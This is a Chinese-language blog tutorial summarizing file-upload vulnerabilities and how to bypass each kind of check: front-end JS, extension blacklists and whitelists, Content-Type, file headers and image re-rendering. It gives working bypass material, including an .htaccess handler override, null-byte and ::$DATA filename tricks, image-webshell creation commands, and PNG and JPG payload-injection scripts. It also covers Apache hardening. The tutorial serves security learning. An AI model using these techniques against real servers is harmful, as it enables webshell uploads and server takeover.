文件上传总结
John_Frod Lv4

文件上传总结

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。


原理

在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上。
当程序员没有文件上传做以下的限制时就有可能产生文件上传漏洞:

  • 对于上传文件的后缀名(扩展名)没有做较为严格的限制
  • 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
  • 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于服务器语言如PHP类型的文件)
  • 对于web server对于上传文件或者指定目录的行为没有做限制

危害

  • 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代
    码执行;
  • 上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其
    他通过类似方式控制策略文件的情况类似);
  • 上传文件是病毒、木马文件,从而获得系统的控制权
  • 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执
    行,被用于钓鱼和欺诈。

文件上传验证与绕过姿势

文件上传验证主要分为以下几种姿势

image-20210329174342172

客户端检测(JavaScript检测)

这类检测,通常是在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测扩展名是否合法。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function check()
{
var filename = document.getElementById("file");
var str = filename.value.split(".");
var ext = str[str.length-1];
if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif')
{
return true;
}
else
{
alert("仅允许上传png/jpeg/gif类型的文件!")
return false;
}
return false;
}

绕过方法:

这一类前端的防御几乎是不堪一击,直接把检测的代码都暴露给用户,很容易就被绕过。

  • 上传页面,审查元素,修改JavaScript检测函数;
  • 将需要上传的恶意代码文件类型改为允许上传的类型,例如将dama.asp改为dama.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名dama.jpg改为dama.asp。
  • 上传webshell.jpg.jsp,可能前端程序检查后缀时,从前面开始检查。

检测扩展名

这个检测就是把上面所介绍的客户端检测时,前端用JavaScript做的事放到了后端来进行,由于后端代码对用户来说是不可见的,且无法操作修改,因此安全性比客户端检测大大提高。扩展名检测有两种策略:

黑名单策略

黑名单就是匹配用户上传的文件扩展名是否在服务器设置的黑名单内,如果匹配上了就禁止保存在服务器中,不在名单上的后缀名才能够保存在服务器。黑名单策略一般来说都相对不安全。

关键代码:

1
$filename = $_FILES['upload']['name']; #取出文件名字

绕过方法:

  • 大小写绕过,如:PHP、Asp等
  • 寻找能够被解析文件的漏网之鱼,下面是能够被解析的后缀
1
2
3
4
jsp jspx jspf
asp asa cer aspx
php php2 php3 php4 phtml
exe exee
  • 上传.htaccess文件攻击

该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件在Apache里默认是启用的,如果没启用,启用方法见:http://www.jb51.net/article/25476.htm。该文件的写法如下:

1
2
3
<FilesMatch "_php.gif">
 SetHandler application/x-httpd-php
</FilesMatch>

保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。 然后就可以上传一个带一句话木马的文件,例如a_php.gif,会被当成php执行。该方法其实不是漏洞,是Apache的特性。该方法常用于黑客入侵网站之后,不想被发现,留一个隐蔽的后门。在PHP手册中提到一句话,move_uploaded_file section,there is awarning which states‘If the destination file already exists, it will be overwritten.’服务器端如果采用了黑名单的形式限制上传,但是黑名单中却没有.htaccess文件,那么我们可以上传.htaccess文件覆盖掉原来的文件。

  • 其他服务器文件解析漏洞

白名单策略

白名单就是将用户上传文件的后缀不在名单内的都视为不合法。白名单相对于黑名单来说安全一些,但是也有绕过的方法。

绕过方法:

这些方法在黑名单策略也适用

  • 配合文件包含漏洞

如果网站还存在文件包含漏洞的话,就能直接上传后缀名为合法文件的而已代码,如webshell.txt,正常情况下是无法被解析为php文件的,但是可以通过文件包含的函数include()之类的,就能够将上传的文件解析为PHP文件。

  • 特殊文件名绕过
1
2
3
4
5
6
test.asp.
test.asp(空格)
test.php:1.jpg
test.php::$DATA
shell.php::$DATA…….
test.php_

比如在发送的HTTP包中,将文件名改为”dama.asp.”或者”dama.asp_”(下划线为空格),这种命名方式在window系统里是不被允许的,所以需要在Burp Suite中抓包修改,上传之后,文件名会被window自动去掉后面的点或者空格,需要注意此种方法仅对window有效,Unix/Linux系统没有这个特性。

  • 0x00截断绕过

在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00、%00上传截断漏洞。

example:

1
2
3
4
Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg
Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件
If(type == jpg)
SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里

操作方法:上传dama.jpg,Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode。

  • 配合各种服务器解析漏洞

服务器解析漏洞就是我们上传的文件后缀不是服务器语言但是仍然能够把该文件解析出来。


检查Content-Type

HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改。

关键代码:

1
$filetype = $_FILES['upload']['type']; #取出文件类型

绕过方法:

这相当于又把问题扔给了前端,然而前端的防御相当于没有,直接用Burp抓包,将Content-Type: application/php改为其他web程序允许的类型。


检查文件头

不同类型文件的文件头或者标志位实际上是不一样的,后端能够根据这些内容来判断是什么类型的文件。

这些是常见的图像格式的文件头:

格式 文件头
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61 (GIF89a)
PNG 89 50 4E 47

example:这是一张JPG的图片

image-20210331145957361

关键代码:

1
2
3
list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
$ext = image_type_to_extension($type);
$image_type = exif_imagetype("img/flag.jpg");

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。

image_type_to_extension() 根据给定的常量 IMAGETYPE_XXX 返回后缀名。

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

绕过方法:

给上传脚本加上相应的头字节就可以,php引擎会将 <?之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符。)

  • 在文件头添加GIF89a
1
2
3
4
GIF89a
<?php
phpinfo();
?>
  • 制作图马

    • window
    1
    copy sxc.png/b+info.php/a info.png
    • linux
    1
    2
    3
    4
    5
    6
    7
    8
    # 将 shell.php 内容追加到 pic.png
    cat shell.php >> pic.png

    # png + php 合成 png 图马
    cat pic.png shell.php >> shell.png

    # 直接 echo 追加
    echo '<?php phpinfo();?>' >> pic.png

其他检查与绕过方式

限制Web Server对特定类型文件的行为

这个不算检查文件类型,但是属于防止上传漏洞的方式。

导致文件上传漏洞的根本原因在于服务把用户上传的本应是数据的内容当作了代码,一般而言:用户上传的内容都会被存储到特定的一个文件夹下,比如我们很多人习惯于放在 ./upload/ 下面要防止数据被当作代码执行,我们可以限制web server对于特定文件夹的行为。

大多数服务端软件都可以支持用户对于特定类型文件的行为的自定义,以Apache为例:

在默认情况下,对与 .php文件Apache会当作代码来执行,对于 html,css,js文件,则会直接由HTTP Response交给客户端程序对于一些资源文件,比如txt,doc,rar等等,则也会以文件下载的方式传送的客户端。我们希望用户上传的东西仅仅当作资源和数据而不能当作代码。因此Apache使用服务器程序的接口来进行限制利用 .htaccess 文件机制来对web server行为进行限制。

  • 指定特定扩展名的文件的处理方式,原理是指定Response的Content-Type可以加上:
1
2
3
4
5
AddType text/plain .pl .py .php
或者
<FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$">
ForceType text/plain
</FilesMatch>

这种情况下,以上几种脚本文件会被当作纯文本来显示出来。

  • 只允许访问特定类型的文件.使得该文件夹里面只有图片扩展名的文件才可以被访问,其他类型都是拒绝访问(白名单策略)。

绕过方法:

可以通过 move_uploaded_file 函数把自己写的.htaccess 文件上传,覆盖掉服务器上的文件,来定义文件类型和执行权限如果做到了这一点,将获得相当大的权限。


二次渲染

服务器会对用户上传的图片进行二次渲染,目的就是防止用户在图片中藏有恶意代码。

关键代码:

1
2
3
4
5
6
$im = imagecreatefromjpeg($target_path);
imagejpeg($im,$img_path);
$im = imagecreatefrompng($target_path);
imagepng($im,$img_path);
$im = imagecreatefromgif($target_path);
imagegif($im,$img_path);

imagecreatefromjpeg() 返回一图像标识符,代表了从给定的文件名取得的图像。

imagejpeg()image 图像以 filename 为文件名创建一个 JPEG 图像。

其他两个同理

绕过方法:

对比上传前和上传后的图片的差异,找到相同数据同时又是非图片数据区的地方,在在,此处写入恶意代码。 不同图像类型的插入方式有区别。

  • GIF

GIF二次渲染绕过说是最简单的,将源文件和二次渲染过的文件进行比较,找出源文件中没有被修改的那段区域,在那段区域写入php代码即可。

  • PNG

需要用到脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
  • JPG

JPG图片也使用脚本来生成,根据具体情况来更改miniPayload的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

使用方法:

  1. 先将一张正常的jpg图片上传,上传后将服务器存储的二次渲染的图片保存下来。
  2. 将保存下来经过服务器二次渲染的那张jpg图片,用此脚本进行处理生成payload.jpg
  3. 然后再上传payload.jpg

漏洞类型判断方式

最后贴一张判断文件上传检测类型的判断方法

img


参考资料

Web安全学习之文件上传漏洞利用

文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)

文件上传总结

文件上传漏洞(绕过姿势)

文件上传漏洞总结

  • Post title:文件上传总结
  • Post author:John_Frod
  • Create time:2021-04-05 10:33:27
  • Post link:https://keep.xpoet.cn/2021/04/05/文件上传总结/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.